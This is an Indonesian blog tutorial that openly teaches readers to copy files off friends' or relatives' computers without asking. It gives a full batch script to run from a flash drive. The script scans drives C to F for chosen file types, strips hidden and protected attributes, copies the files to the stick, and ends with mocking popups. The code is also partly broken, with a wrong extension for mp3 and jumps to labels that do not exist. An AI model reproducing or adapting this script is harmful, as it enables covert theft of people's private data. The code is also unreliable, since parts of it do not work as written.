Membuat Program Pencuri data dengan Flashdisk

Pasti kalian memiliki teman Atau Saudara Yang memiliki Laptop/komputer
Dan pasti Kalian ingin Mengetahui Isi dalam Komputer/laptop mereka
Dan biasanya Didalam laptop/komputer mereka pasti mempunyai film yang seru atau lagu
dan kalian ingin memiliki itu semua tanpa meminta dengan mereka
Ada salah satu jalan yaitu dengan memasang program ini ke flasdisk kita
Program ini akan berjalan apabila kita memasukan nomor pilihan yang akan kita curi ekstansi nya


TUTORIAL=
1.Buka aplikasi notepad yang ada di pc anda
2.masukan kode berikut =
echo off

color 0a
mode 36,20
if "%1"=="/?" goto Sej
if not "%n%" == "" set n=
:MetDtg
cls
title R.T.S APPS V 3.2
echo.
echo ===================================
echo ³  Program Aplikasi               ³
echo ³  Copyright ©2016 R.T.S APPS     ³
echo ³  R.T.S APPS                     ³
echo ===================================
echo                 \/
echo                 \/
echo                 \/
:awal

echo ³*********EKSTENSI FILE***********³
echo ³---------³-----------³-----------³
echo ³[1] 3gp  ³  [5] rm   ³ [9] exit  ³
echo ³---------³-----------³-----------³
echo ³[2] wmv  ³  [6] mp3  ³ [10] exe  ³
echo ³---------³-----------³-----------³
echo ³[3] avi  ³  [7] docx ³ [11] ico  ³
echo ³---------³-----------³-----------³
echo ³[4] jpg  ³  [8] xls  ³ [12] HTML ³
echo ³---------³-----------³-----------³


echo.

set/p "pil=Masukan Pilihan: "

if %pil%=='' goto option

if %pil%==1 goto 3gp

if %pil%==2 goto wmv

if %pil%==3 goto avi

if %pil%==4 goto jpg

if %pil%==5 goto rm

if %pil%==6 goto mp3

if %pil%==7 goto docx

if %pil%==8 goto m

if %pil%==9 goto keluar

if %pil%==10 goto exe

if %pil%==11 goto ico

if %pil%==12 goto html

goto option
:3gp
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.3gp') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls
goto awal

goto option
:wmv
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.wmv') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)

cls
echo sudah tidak ditemukan file nyah
pause >nul

goto option
:avi
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.avi') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:jpg
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.jpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:rm
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.rm') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nulcls

goto option
:mp3
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.mpg') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:docx
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.docx') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:xls
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.xls') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:exe
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.exe') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:ico
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.ico') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)
echo sudah tidak ditemukan file nyah
pause >nul
cls

goto option
:html
Set Maling=%computername%_%random%

If not exist "%Maling%" Md "%Maling%"

For %%a in (C D E F) do if exist %%a:\ (
For /f "tokens=*" %%b in ('dir /a /b /s %%a:\*.html') do (
attrib -s -h -r "%%b"
copy "%%b" "%Maling%" /y)
)

cls
echo sudah tidak ditemukan file nyah
pause >nul

:keluar
msg * data telah ter ambil!!!
msg * Hayoo !!! Dta kmu tuh apa ya???
msg * HEhehehehe
msg * by R.T.S APPS
Exit
3.kemudian simpan Di flashdisk kalian  dengan ekstansi *.bat (contoh: "maling.bat")
4.tinggal anda jalankan program nya

MUDAH KAN?
jangan lupa kunjungi terus blog gue
Kalo ada keritik atau saran silahkan KOmentar dibawah Ini